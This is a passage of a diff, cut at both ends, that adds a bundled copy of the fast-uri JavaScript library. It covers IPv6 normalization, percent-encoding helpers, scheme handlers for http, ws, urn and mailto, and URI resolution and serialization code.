2; + continue; + } + if (!isHextet(part)) return void 0; + parts[i] = parseInt(part, 16).toString(16); + hextetCount++; + } + if (compression === -1) { + if (hextetCount !== 8) return void 0; + return compressIPv6ZeroRun(parts); + } + if (hextetCount >= 8) return void 0; + const expanded = parts.slice(0, left.length); + for (let i = hextetCount; i < 8; i++) expanded.push("0"); + for (let i = left.length; i < parts.length; i++) expanded.push(parts[i]); + return compressIPv6ZeroRun(expanded); + } + function normalizeIPv6(host) { + const bracketed = host[0] === "[" && host[host.length - 1] === "]"; + const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; + if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; + let input = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input)) { + input = input.toLowerCase(); + return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + } + if (findToken(input, ":") < 2) { + return { host, isIPV6: false, error: bracketed }; + } + let zoneIdentifier = ""; + const zoneSeparator = input.indexOf("%"); + if (zoneSeparator !== -1) { + const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input.slice(zoneSeparator + separatorLength); + if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; + input = input.slice(0, zoneSeparator); + } + const address = normalizeIPv6Address(input); + if (address === void 0) return { host, isIPV6: false, error: true }; + return { + host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), + escapedHost: address + (zoneIdentifier ? "%25" + zoneIdentifier : ""), + isIPV6: true + }; + } + function findToken(str, token) { + let ind = 0; + for (let i = 0; i < str.length; i++) { + if (str[i] === token) ind++; + } + return ind; + } + function removeDotSegments(path) { + let input = path; + const output = []; + let nextSlash = -1; + let len = 0; + while (len = input.length) { + if (len === 1) { + if (input === ".") { + break; + } else if (input === "/") { + output.push("/"); + break; + } else { + output.push(input); + break; + } + } else if (len === 2) { + if (input[0] === ".") { + if (input[1] === ".") { + break; + } else if (input[1] === "/") { + input = input.slice(2); + continue; + } + } else if (input[0] === "/") { + if (input[1] === ".") { + output.push("/"); + break; + } + } + } else if (len === 3) { + if (input === "/..") { + if (output.length !== 0) { + output.pop(); + } + output.push("/"); + break; + } + } + if (input[0] === ".") { + if (input[1] === ".") { + if (input[2] === "/") { + input = input.slice(3); + continue; + } + } else if (input[1] === "/") { + input = input.slice(2); + continue; + } + } else if (input[0] === "/") { + if (input[1] === ".") { + if (input[2] === "/") { + input = input.slice(2); + continue; + } else if (input[2] === ".") { + if (input[3] === "/") { + input = input.slice(3); + if (output.length !== 0) { + output.pop(); + } + continue; + } + } + } + } + if ((nextSlash = input.indexOf("/", 1)) === -1) { + output.push(input); + break; + } else { + output.push(input.slice(0, nextSlash)); + input = input.slice(nextSlash); + } + } + return output.join(""); + } + var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; + var HOST_DELIM_RE = /[@/?#:]/g; + var HOST_DELIM_NO_COLON_RE = /[@/?#]/g; + function reescapeHostDelimiters(host, isIP) { + const re2 = isIP ? HOST_DELIM_NO_COLON_RE : HOST_DELIM_RE; + re2.lastIndex = 0; + return host.replace(re2, (ch) => HOST_DELIMS[ch]); + } + function normalizePercentEncoding(input, decodeUnreserved = false) { + if (input.indexOf("%") === -1) { + return input; + } + let output = ""; + for (let i = 0; i < input.length; i++) { + if (input[i] === "%" && i + 2 < input.length) { + const hex3 = input.slice(i + 1, i + 3); + if (isHexPair(hex3)) { + const normalizedHex = hex3.toUpperCase(); + const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); + if (decodeUnreserved && isUnreserved(decoded)) { + output += decoded; + } else { + output += "%" + normalizedHex; + } + i += 2; + continue; + } + } + output += input[i]; + } + return output; + } + var BYTE_HEX = new Array(256); + { + const HEX_DIGITS = "0123456789ABCDEF"; + for (let i = 0; i < 256; i++) { + BYTE_HEX[i] = "%" + HEX_DIGITS[i >> 4] + HEX_DIGITS[i & 15]; + } + } + function isEscapeSafe(cp) { + return cp >= 48 && cp <= 57 || cp >= 65 && cp <= 90 || cp >= 97 && cp <= 122 || cp === 42 || cp === 43 || cp === 45 || cp === 46 || cp === 47 || cp === 64 || cp === 95; + } + function percentEncodeNonAscii(cp) { + if (cp < 2048) { + return BYTE_HEX[192 | cp >> 6] + BYTE_HEX[128 | cp & 63]; + } + if (cp < 65536) { + return BYTE_HEX[224 | cp >> 12] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; + } + return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; + } + function normalizePathEncoding(input) { + let output = ""; + for (let i = 0; i < input.length; i++) { + const ch = input[i]; + if (ch === "%" && i + 2 < input.length) { + const hex3 = input.slice(i + 1, i + 3); + if (isHexPair(hex3)) { + const normalizedHex = hex3.toUpperCase(); + const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); + if (decoded !== "." && isUnreserved(decoded)) { + output += decoded; + } else { + output += "%" + normalizedHex; + } + i += 2; + continue; + } + } + if (isPathCharacter(ch)) { + output += ch; + } else { + const code = input.charCodeAt(i); + if (code < 128) { + output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + } else if (code < 55296 || code > 57343) { + output += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input.length) { + const low = input.charCodeAt(i + 1); + if (low >= 56320 && low <= 57343) { + output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + i++; + } else { + output += percentEncodeNonAscii(65533); + } + } else { + output += percentEncodeNonAscii(65533); + } + } + } + return output; + } + function serializePathEncoding(input, pathNoScheme = false) { + let output = ""; + let firstSegment = pathNoScheme && input[0] !== "/"; + for (let i = 0; i < input.length; i++) { + const ch = input[i]; + if (ch === "%" && i + 2 < input.length) { + const hex3 = input.slice(i + 1, i + 3); + if (isHexPair(hex3)) { + output += "%" + hex3.toUpperCase(); + i += 2; + continue; + } + } + if (ch === "/") { + firstSegment = false; + } + if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { + output += ch; + } else { + const code = input.charCodeAt(i); + if (code < 128) { + output += BYTE_HEX[code]; + } else if (code < 55296 || code > 57343) { + output += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input.length) { + const low = input.charCodeAt(i + 1); + if (low >= 56320 && low <= 57343) { + output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + i++; + } else { + output += percentEncodeNonAscii(65533); + } + } else { + output += percentEncodeNonAscii(65533); + } + } + } + return output; + } + function normalizeQueryFragmentEncoding(input) { + let output = ""; + for (let i = 0; i < input.length; i++) { + const ch = input[i]; + if (ch === "%" && i + 2 < input.length) { + const hex3 = input.slice(i + 1, i + 3); + if (isHexPair(hex3)) { + const normalizedHex = hex3.toUpperCase(); + const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); + if (isUnreserved(decoded)) { + output += decoded; + } else { + output += "%" + normalizedHex; + } + i += 2; + continue; + } + } + if (isQueryFragmentCharacter(ch)) { + output += ch; + } else { + const code = input.charCodeAt(i); + if (code < 128) { + output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + } else if (code < 55296 || code > 57343) { + output += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input.length) { + const low = input.charCodeAt(i + 1); + if (low >= 56320 && low <= 57343) { + output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + i++; + } else { + output += percentEncodeNonAscii(65533); + } + } else { + output += percentEncodeNonAscii(65533); + } + } + } + return output; + } + function encodeComponent(input, isAllowed) { + let output = ""; + for (let i = 0; i < input.length; i++) { + const ch = input[i]; + if (ch === "%" && i + 2 < input.length) { + const hex3 = input.slice(i + 1, i + 3); + if (isHexPair(hex3)) { + output += "%" + hex3.toUpperCase(); + i += 2; + continue; + } + } + if (isAllowed(ch)) { + output += ch; + } else { + const code = input.charCodeAt(i); + if (code < 128) { + output += BYTE_HEX[code]; + } else if (code < 55296 || code > 57343) { + output += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input.length) { + const low = input.charCodeAt(i + 1); + if (low >= 56320 && low <= 57343) { + output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + i++; + } else { + output += percentEncodeNonAscii(65533); + } + } else { + output += percentEncodeNonAscii(65533); + } + } + } + return output; + } + function encodeUserinfo(input) { + return encodeComponent(input, isUserinfoCharacter); + } + function encodeQuery(input) { + return encodeComponent(input, isQueryFragmentCharacter); + } + function encodeFragment(input) { + return encodeComponent(input, isQueryFragmentCharacter); + } + function escapePreservingEscapes(input) { + let output = ""; + for (let i = 0; i < input.length; i++) { + const ch = input[i]; + if (ch === "%" && i + 2 < input.length) { + const hex3 = input.slice(i + 1, i + 3); + if (isHexPair(hex3)) { + output += "%" + hex3.toUpperCase(); + i += 2; + continue; + } + } + const code = input.charCodeAt(i); + if (code < 128) { + output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + } else if (code < 55296 || code > 57343) { + output += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input.length) { + const low = input.charCodeAt(i + 1); + if (low >= 56320 && low <= 57343) { + output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + i++; + } else { + output += percentEncodeNonAscii(65533); + } + } else { + output += percentEncodeNonAscii(65533); + } + } + return output; + } + function recomposeZonedIPv6Host(component) { + const zone = component.ipv6Zone; + if (zone === void 0) return void 0; + const host = component.host; + const separator = host.indexOf("%"); + if (separator === -1) return void 0; + const address = host.slice(0, separator); + const escaped = address + "%25" + zone; + const derived = normalizeIPv6("[" + escaped + "]"); + if (derived.isIPV6 === true && derived.host === host) { + return "[" + escaped + "]"; + } + return void 0; + } + function recomposeAuthority(component) { + const uriTokens = []; + if (component.userinfo !== void 0) { + uriTokens.push(encodeUserinfo(component.userinfo)); + uriTokens.push("@"); + } + if (component.host !== void 0) { + let host = component.host; + if (!isIPv4(host)) { + const zonedHost = recomposeZonedIPv6Host(component); + if (zonedHost !== void 0) { + host = zonedHost; + } else { + let ipV6res = normalizeIPv6(host); + if (ipV6res.isIPV6 !== true && ipV6res.isIPVFuture !== true) { + host = normalizePercentEncoding(host, true); + ipV6res = normalizeIPv6(host); + } + if (ipV6res.isIPV6 === true || ipV6res.isIPVFuture === true) { + host = `[${ipV6res.escapedHost}]`; + } else { + host = reescapeHostDelimiters(host, false); + } + } + } + uriTokens.push(host); + } + if (typeof component.port === "number" || typeof component.port === "string") { + const port = String(component.port); + if (!isPort(port)) { + throw new TypeError("URI port is malformed."); + } + uriTokens.push(":"); + uriTokens.push(port); + } + return uriTokens.length ? uriTokens.join("") : void 0; + } + module.exports = { + BYTE_HEX, + percentEncodeNonAscii, + nonSimpleDomain, + nonSimpleMailtoDomain, + recomposeAuthority, + reescapeHostDelimiters, + normalizePercentEncoding, + normalizePathEncoding, + serializePathEncoding, + normalizeQueryFragmentEncoding, + encodeUserinfo, + encodeQuery, + encodeFragment, + escapePreservingEscapes, + removeDotSegments, + isIPv4, + isUUID, + normalizeIPv6, + stringArrayToHexStripped + }; + } +}); + +// node_modules/.pnpm/fast-uri@4.2.1/node_modules/fast-uri/lib/schemes.js +var require_schemes2 = __commonJS({ + "node_modules/.pnpm/fast-uri@4.2.1/node_modules/fast-uri/lib/schemes.js"(exports, module) { + "use strict"; + var { isUUID, BYTE_HEX, percentEncodeNonAscii, nonSimpleMailtoDomain } = require_utils2(); + var URN_REG = /^([\da-z][\d\-a-z]{0,31}):((?:[\w!$'()*+,\-./:;=@]|%[\da-f]{2})+)$/iu; + var supportedSchemeNames = ( + /** @type {const} */ + [ + "http", + "https", + "ws", + "wss", + "urn", + "urn:uuid", + "mailto" + ] + ); + function isValidSchemeName(name) { + return supportedSchemeNames.indexOf( + /** @type {*} */ + name + ) !== -1; + } + function wsIsSecure(wsComponent) { + if (wsComponent.secure === true) { + return true; + } else if (wsComponent.secure === false) { + return false; + } else if (wsComponent.scheme) { + return wsComponent.scheme.length === 3 && (wsComponent.scheme[0] === "w" || wsComponent.scheme[0] === "W") && (wsComponent.scheme[1] === "s" || wsComponent.scheme[1] === "S") && (wsComponent.scheme[2] === "s" || wsComponent.scheme[2] === "S"); + } else { + return false; + } + } + function httpParse(component) { + if (!component.host) { + component.error = component.error || "HTTP URIs must have a host."; + } + return component; + } + function httpSerialize(component) { + const secure = String(component.scheme).toLowerCase() === "https"; + if (component.port === (secure ? 443 : 80) || component.port === "") { + component.port = void 0; + } + if (!component.path) { + component.path = "/"; + } + return component; + } + function wsParse(wsComponent) { + wsComponent.secure = wsIsSecure(wsComponent); + wsComponent.resourceName = (wsComponent.path || "/") + (wsComponent.query ? "?" + wsComponent.query : ""); + wsComponent.path = void 0; + wsComponent.query = void 0; + return wsComponent; + } + function wsSerialize(wsComponent) { + if (wsComponent.port === (wsIsSecure(wsComponent) ? 443 : 80) || wsComponent.port === "") { + wsComponent.port = void 0; + } + if (typeof wsComponent.secure === "boolean") { + wsComponent.scheme = wsComponent.secure ? "wss" : "ws"; + wsComponent.secure = void 0; + } + if (wsComponent.resourceName) { + const queryIndex = wsComponent.resourceName.indexOf("?"); + const path = queryIndex === -1 ? wsComponent.resourceName : wsComponent.resourceName.slice(0, queryIndex); + wsComponent.path = path && path !== "/" ? path : void 0; + wsComponent.query = queryIndex === -1 ? void 0 : wsComponent.resourceName.slice(queryIndex + 1); + wsComponent.resourceName = void 0; + } + wsComponent.fragment = void 0; + return wsComponent; + } + function urnParse(urnComponent, options) { + if (!urnComponent.path) { + urnComponent.error = "URN can not be parsed"; + return urnComponent; + } + const matches = urnComponent.path.match(URN_REG); + if (matches && matches[0] === urnComponent.path) { + const scheme = options.scheme || urnComponent.scheme || "urn"; + urnComponent.nid = matches[1].toLowerCase(); + urnComponent.nss = matches[2]; + const urnScheme = `${scheme}:${options.nid || urnComponent.nid}`; + const schemeHandler = getSchemeHandler(urnScheme); + urnComponent.path = void 0; + if (schemeHandler) { + urnComponent = schemeHandler.parse(urnComponent, options); + } + } else { + urnComponent.error = urnComponent.error || "URN can not be parsed."; + } + return urnComponent; + } + function urnSerialize(urnComponent, options) { + if (urnComponent.nid === void 0) { + throw new Error("URN without nid cannot be serialized"); + } + const scheme = options.scheme || urnComponent.scheme || "urn"; + const nid = urnComponent.nid.toLowerCase(); + const urnScheme = `${scheme}:${options.nid || nid}`; + const schemeHandler = getSchemeHandler(urnScheme); + if (schemeHandler) { + urnComponent = schemeHandler.serialize(urnComponent, options); + } + const uriComponent = urnComponent; + const nss = urnComponent.nss; + uriComponent.path = `${nid || options.nid}:${nss}`; + options.skipEscape = true; + return uriComponent; + } + function urnuuidParse(urnComponent, options) { + const uuidComponent = urnComponent; + uuidComponent.uuid = uuidComponent.nss; + uuidComponent.nss = void 0; + if (!options.tolerant && (!uuidComponent.uuid || !isUUID(uuidComponent.uuid))) { + uuidComponent.error = uuidComponent.error || "UUID is not valid."; + } + return uuidComponent; + } + function urnuuidSerialize(uuidComponent) { + const urnComponent = uuidComponent; + urnComponent.nss = (uuidComponent.uuid || "").toLowerCase(); + return urnComponent; + } + var http = ( + /** @type {SchemeHandler} */ + { + scheme: "http", + domainHost: true, + parse: httpParse, + serialize: httpSerialize + } + ); + var https = ( + /** @type {SchemeHandler} */ + { + scheme: "https", + domainHost: http.domainHost, + parse: httpParse, + serialize: httpSerialize + } + ); + var ws = ( + /** @type {SchemeHandler} */ + { + scheme: "ws", + domainHost: true, + parse: wsParse, + serialize: wsSerialize + } + ); + var wss = ( + /** @type {SchemeHandler} */ + { + scheme: "wss", + domainHost: ws.domainHost, + parse: ws.parse, + serialize: ws.serialize + } + ); + var urn = ( + /** @type {SchemeHandler} */ + { + scheme: "urn", + parse: urnParse, + serialize: urnSerialize, + skipNormalize: true + } + ); + var urnuuid = ( + /** @type {SchemeHandler} */ + { + scheme: "urn:uuid", + parse: urnuuidParse, + serialize: urnuuidSerialize, + skipNormalize: true + } + ); + var LOCAL_PART_ALLOWED = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$'()*+="; + var HFNAME_ALLOWED = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$'()*+,;:@"; + var DTEXT_ALLOWED = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$'()*+;:"; + function allowSet(chars, allowNonAscii = false) { + const table2 = new Uint8Array(128); + for (let i = 0; i < chars.length; i++) { + table2[chars.charCodeAt(i)] = 1; + } + const escaped = chars.replace(/[\\\]^-]/gu, "\\$&"); + const cls = allowNonAscii ? `[${escaped}]|[^\\0-\\x7F\\uD800-\\uDFFF]` : `[${escaped}]`; + return { all: new RegExp(`^(?:${cls})*$`, "u"), table: table2, allowNonAscii }; + } + var LOCAL_PART = allowSet(LOCAL_PART_ALLOWED); + var HFNAME = allowSet(HFNAME_ALLOWED); + var DTEXT = allowSet(DTEXT_ALLOWED); + var DTEXT_IRI = allowSet(DTEXT_ALLOWED, true); + var HEX_PAIR = /^[\da-f]{2}$/iu; + var MAILTO_DOMAIN_LITERAL = /^\[[\x21-\x5A\x5E-\x7E]*\]$/u; + var MAILTO_DOMAIN_ERROR = "URI mailto has an invalid recipient domain."; + var MAILTO_AUTHORITY_ERROR = "URI mailto must not have an authority component."; + var HAS_SURROGATE = /[\uD800-\uDFFF]/u; + function decodeHex(str) { + if (typeof str !== "string" || str.indexOf("%") === -1) { + return str; + } + try { + return decodeURIComponent(str); + } catch { + return str; + } + } + function replaceLoneSurrogates(input) { + let result = ""; + for (let i = 0; i < input.length; i++) { + const code = input.charCodeAt(i); + if (code >= 55296 && code <= 56319 && i + 1 < input.length) { + const low = input.charCodeAt(i + 1); + if (low >= 56320 && low <= 57343) { + result += input[i] + input[i + 1]; + i++; + continue; + } + } + result += code >= 55296 && code <= 57343 ? "\uFFFD" : input[i]; + } + return result; + } + function encodeWithAllow(input, set2) { + if (set2.all.test(input)) { + return input; + } + const table2 = set2.table; + let result = ""; + for (let i = 0; i < input.length; i++) { + const code = input.charCodeAt(i); + if (code < 128) { + if (table2[code] === 1) { + result += input[i]; + } else if (code === 37 && i + 2 < input.length && HEX_PAIR.test(input.slice(i + 1, i + 3))) { + result += "%" + input.slice(i + 1, i + 3).toUpperCase(); + i += 2; + } else { + result += BYTE_HEX[code]; + } + continue; + } + if (code < 55296 || code > 57343) { + result += set2.allowNonAscii ? input[i] : percentEncodeNonAscii(code); + continue; + } + if (code <= 56319 && i + 1 < input.length) { + const low = input.charCodeAt(i + 1); + if (low >= 56320 && low <= 57343) { + result += set2.allowNonAscii ? input[i] + input[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + i++; + continue; + } + } + result += set2.allowNonAscii ? "\uFFFD" : percentEncodeNonAscii(65533); + } + return result; + } + function mailtoNormalizeDomain(domain2, options, component) { + const normalizedDomain = String(domain2).toLowerCase(); + if (MAILTO_DOMAIN_LITERAL.test(normalizedDomain)) { + return normalizedDomain; + } + if (normalizedDomain !== "" && !nonSimpleMailtoDomain(normalizedDomain)) { + return normalizedDomain; + } + try { + const parsedDomain = new URL("http://" + normalizedDomain); + if (parsedDomain.username || parsedDomain.password || parsedDomain.port || parsedDomain.pathname !== "/" || parsedDomain.search || parsedDomain.hash || !parsedDomain.hostname) { + throw new Error(MAILTO_DOMAIN_ERROR); + } + return options && options.unicodeSupport ? normalizedDomain : parsedDomain.hostname; + } catch { + if (component) { + component.error = component.error || MAILTO_DOMAIN_ERROR; + } + return normalizedDomain; + } + } + function mailtoEncodeDomain(domain2, options) { + const set2 = options && options.unicodeSupport ? DTEXT_IRI : DTEXT; + if (domain2.length > 1 && domain2[0] === "[" && domain2[domain2.length - 1] === "]") { + return "[" + encodeWithAllow(domain2.slice(1, -1), set2) + "]"; + } + return encodeWithAllow(domain2, set2); + } + function mailtoParse(component, options) { + const mailtoComponent = component; + let rawPath = mailtoComponent.path; + let rawQuery = mailtoComponent.query; + if (rawPath && HAS_SURROGATE.test(rawPath)) rawPath = replaceLoneSurrogates(rawPath); + if (rawQuery && HAS_SURROGATE.test(rawQuery)) rawQuery = replaceLoneSurrogates(rawQuery); + const to = rawPath ? rawPath.indexOf(",") === -1 ? [rawPath] : rawPath.split(",") : []; + mailtoComponent.path = void 0; + if (rawQuery) { + let headers = null; + let start = 0; + while (start <= rawQuery.length) { + let end = rawQuery.indexOf("&", start); + if (end === -1) end = rawQuery.length; + const token = rawQuery.slice(start, end); + start = end + 1; + const eqIdx = token.indexOf("="); + if (eqIdx !== token.lastIndexOf("=")) { + mailtoComponent.error = mailtoComponent.error || "URI mailto has malformed header fields."; + continue; + } + const name = decodeHex(eqIdx === -1 ? token : token.slice(0, eqIdx)); + const normalizedName = name.toLowerCase(); + const value = eqIdx === -1 ? "" : token.slice(eqIdx + 1); + if (normalizedName === "to") { + const addrs = value.split(","); + for (let j = 0; j < addrs.length; j++) to.push(addrs[j]); + continue; + } + if (normalizedName === "subject") { + mailtoComponent.subject = decodeHex(value); + continue; + } + if (normalizedName === "body") { + mailtoComponent.body = decodeHex(value); + continue; + } + if (headers === null) headers = /** @type {Record} */ + /* @__PURE__ */ Object.create(null); + headers[name] = decodeHex(value); + } + if (headers !== null) mailtoComponent.headers = headers; + } + mailtoComponent.query = void 0; + if (to.length > 0 && (mailtoComponent.userinfo !== void 0 || mailtoComponent.host !== void 0 || mailtoComponent.port !== void 0)) { + mailtoComponent.userinfo = void 0; + mailtoComponent.host = void 0; + mailtoComponent.port = void 0; + mailtoComponent.error = mailtoComponent.error || MAILTO_AUTHORITY_ERROR; + } + for (let i = 0; i < to.length; i++) { + const rawAddr = to[i]; + const atIdx = rawAddr.lastIndexOf("@"); + if (atIdx < 0) { + mailtoComponent.error = mailtoComponent.error || MAILTO_DOMAIN_ERROR; + to[i] = decodeHex(rawAddr); + continue; + } + const local = decodeHex(rawAddr.slice(0, atIdx)); + const domain2 = mailtoNormalizeDomain(decodeHex(rawAddr.slice(atIdx + 1)), options, mailtoComponent); + to[i] = local + "@" + domain2; + } + if (to.length) mailtoComponent.to = to; + return mailtoComponent; + } + function mailtoEncodeHeaderName(name) { + return encodeWithAllow(name.replace(/%/gu, "%25"), HFNAME); + } + function mailtoSerialize(component, options) { + const mailtoComponent = component; + const to = Array.isArray(mailtoComponent.to) ? mailtoComponent.to.slice() : []; + const sourceHeaders = mailtoComponent.headers && typeof mailtoComponent.headers === "object" ? Object.assign(/* @__PURE__ */ Object.create(null), mailtoComponent.headers) : /* @__PURE__ */ Object.create(null); + const headers = /* @__PURE__ */ Object.create(null); + for (const name in sourceHeaders) { + const normalizedName = name.toLowerCase(); + if (normalizedName === "to") { + const addrs = String(sourceHeaders[name]).split(","); + for (let i = 0; i < addrs.length; i++) to.push(addrs[i]); + } else if (normalizedName === "subject" || normalizedName === "body") { + headers[normalizedName] = sourceHeaders[name]; + } else { + headers[name] = sourceHeaders[name]; + } + } + if (mailtoComponent.subject !== void 0) headers.subject = mailtoComponent.subject; + if (mailtoComponent.body !== void 0) headers.body = mailtoComponent.body; + mailtoComponent.headers = headers; + if (to.length) { + mailtoComponent.userinfo = void 0; + mailtoComponent.host = void 0; + mailtoComponent.port = void 0; + for (let i = 0; i < to.length; i++) { + const addr = String(to[i]); + const atIdx = addr.lastIndexOf("@"); + const rawLocal = atIdx >= 0 ? addr.slice(0, atIdx) : addr; + const rawDomain = atIdx >= 0 ? addr.slice(atIdx + 1) : ""; + const local = encodeWithAllow(rawLocal, LOCAL_PART); + const decodedDomain = decodeHex(rawDomain); + const normalizedDomain = mailtoNormalizeDomain(decodedDomain, options); + to[i] = local + "@" + mailtoEncodeDomain(normalizedDomain, options); + } + mailtoComponent.path = to.join(","); + options.skipEscape = true; + } else { + mailtoComponent.path = void 0; + } + let query = ""; + let count = 0; + for (const name in headers) { + if (count++ !== 0) query += "&"; + query += mailtoEncodeHeaderName(name) + "=" + encodeWithAllow(String(headers[name]), HFNAME); + } + if (count !== 0) { + mailtoComponent.query = query; + } else { + mailtoComponent.headers = void 0; + } + return mailtoComponent; + } + var mailto = ( + /** @type {SchemeHandler} */ + { + scheme: "mailto", + parse: mailtoParse, + serialize: mailtoSerialize, + domainHost: false, + unicodeSupport: true, + // `mailtoParse` re-derives every component from the raw path/query via + // `decodeHex`, which subsumes the generic normalizers, so running them first + // is wasted work (~28% of parsing a URI with header fields). + skipNormalize: true, + // A recipient list has no dot segments to remove, and `removeDotSegments` + // would rewrite a "./"-prefixed local part. + absolutePath: true + } + ); + var SCHEMES = ( + /** @type {Record} */ + { + http, + https, + ws, + wss, + urn, + "urn:uuid": urnuuid, + mailto + } + ); + Object.setPrototypeOf(SCHEMES, null); + function getSchemeHandler(scheme) { + return scheme && (SCHEMES[ + /** @type {SchemeName} */ + scheme + ] || SCHEMES[ + /** @type {SchemeName} */ + scheme.toLowerCase() + ]) || void 0; + } + module.exports = { + wsIsSecure, + SCHEMES, + isValidSchemeName, + getSchemeHandler + }; + } +}); + +// node_modules/.pnpm/fast-uri@4.2.1/node_modules/fast-uri/index.js +var require_fast_uri2 = __commonJS({ + "node_modules/.pnpm/fast-uri@4.2.1/node_modules/fast-uri/index.js"(exports, module) { + "use strict"; + var { normalizeIPv6, removeDotSegments, recomposeAuthority, normalizePercentEncoding, normalizePathEncoding, serializePathEncoding, normalizeQueryFragmentEncoding, encodeQuery, encodeFragment, reescapeHostDelimiters, isIPv4, nonSimpleDomain } = require_utils2(); + var { SCHEMES, getSchemeHandler } = require_schemes2(); + var VALID_SCHEME = /^[A-Za-z][A-Za-z0-9+.-]*$/u; + var MALFORMED_SCHEME_ERROR = "URI scheme is malformed."; + function decodeValidScheme(scheme) { + const decodedScheme = unescape(String(scheme)); + if (!VALID_SCHEME.test(decodedScheme)) { + throw new TypeError(MALFORMED_SCHEME_ERROR); + } + return decodedScheme; + } + function normalize(uri, options) { + if (typeof uri === "string") { + uri = /** @type {T} */ + normalizeString(uri, options); + } else if (typeof uri === "object") { + uri = /** @type {T} */ + parse4(serialize(uri, options), options); + } + return uri; + } + function resolve(baseURI, relativeURI, options) { + const schemelessOptions = options ? Object.assign({ scheme: "null" }, options) : { scheme: "null" }; + const { + parsed: baseParsed, + malformedAuthorityOrPort: baseMalformed, + malformedPercentEncoding: baseMalformedPercentEncoding, + malformedSchemeSpecific: baseMalformedSchemeSpecific, + malformedHost: baseMalformedHost, + malformedScheme: baseMalformedScheme + } = parseWithStatus(baseURI, schemelessOptions); + const { + parsed: relativeParsed, + malformedAuthorityOrPort: relativeMalformed, + malformedPercentEncoding: relativeMalformedPercentEncoding, + malformedSchemeSpecific: relativeMalformedSchemeSpecific, + malformedHost: relativeMalformedHost, + malformedScheme: relativeMalformedScheme + } = parseWithStatus(relativeURI, schemelessOptions); + if (baseMalformed || relativeMalformed || baseMalformedPercentEncoding || relativeMalformedPercentEncoding || baseMalformedSchemeSpecific || relativeMalformedSchemeSpecific || baseMalformedHost || relativeMalformedHost || baseMalformedScheme || relativeMalformedScheme) { + throw new Error(baseParsed.error || relativeParsed.error || "URI is malformed."); + } + const resolved = resolveComponent(baseParsed, relativeParsed, schemelessOptions, true); + const resolvedSchemeHandler = getSchemeHandler(options && options.scheme || resolved.scheme); + const resolvedHost = resolved.host; + const resolvedHostIsIP = resolvedHost !== void 0 && resolvedHost !== "" && (isIPv4(resolvedHost) || normalizeIPv6(resolvedHost).isIPV6); + canonicalizeHost(resolved, options || {}, resolvedSchemeHandler, resolvedHostIsIP); + const encodedASCIIHost = resolvedHost && resolvedHost.indexOf("%") !== -1 && !new RegExp("\\P{ASCII}", "u").test(resolvedHost); + if (resolved.error && !encodedASCIIHost) { + throw new Error(resolved.error); + } + schemelessOptions.skipEscape = true; + return serialize(resolved, schemelessOptions); + } + function copyHost(target, source) { + target.host = source.host; + if (source.ipv6Zone !== void 0) { + target.ipv6Zone = source.ipv6Zone; + } + } + function resolveComponent(base, relative, options, skipNormalization) { + const target = {}; + if (!skipNormalization) { + base = parse4(serialize(base, options), options); + relative = parse4(serialize(relative, options), options); + } + options = options || {}; + if (!options.tolerant && relative.scheme) { + target.scheme = relative.scheme; + target.userinfo = relative.userinfo; + copyHost(target, relative); + target.port = relative.port; + target.path = removeDotSegments(relative.path || ""); + target.query = relative.query; + } else { + if (relative.userinfo !== void 0 || relative.host !== void 0 || relative.port !== void 0) { + target.userinfo = relative.userinfo; + copyHost(target, relative); + target.port = relative.port; + target.path = removeDotSegments(relative.path || ""); + target.query = relative.query; + } else { + if (!relative.path) { + target.path = base.path; + if (relative.query !== void 0) { + target.query = relative.query; + } else { + target.query = base.query; + } + } else { + if (relative.path[0] === "/") { + target.path = removeDotSegments(relative.path); + } else { + if ((base.userinfo !== void 0 || base.host !== void 0 || base.port !== void 0) && !base.path) { + target.path = "/" + relative.path; + } else if (!base.path) { + target.path = relative.path; + } else { + target.path = base.path.slice(0, base.path.lastIndexOf("/") + 1) + relative.path; + } + target.path = removeDotSegments(target.path); + } + target.query = relative.query; + } + target.userinfo = base.userinfo; + copyHost(target, base); + target.port = base.port; + } + target.scheme = base.scheme; + } + target.fragment = relative.fragment; + return target; + } + function equal(uriA, uriB, options) { + const normalizedA = normalizeComparableURI(uriA, options); + const normalizedB = normalizeComparableURI(uriB, options); + return normalizedA !== void 0 && normalizedB !== void 0 && normalizedA === normalizedB; + } + function serialize(cmpts, opts) { + const component = { + host: cmpts.host, + ipv6Zone: cmpts.ipv6Zone, + scheme: cmpts.scheme, + userinfo: 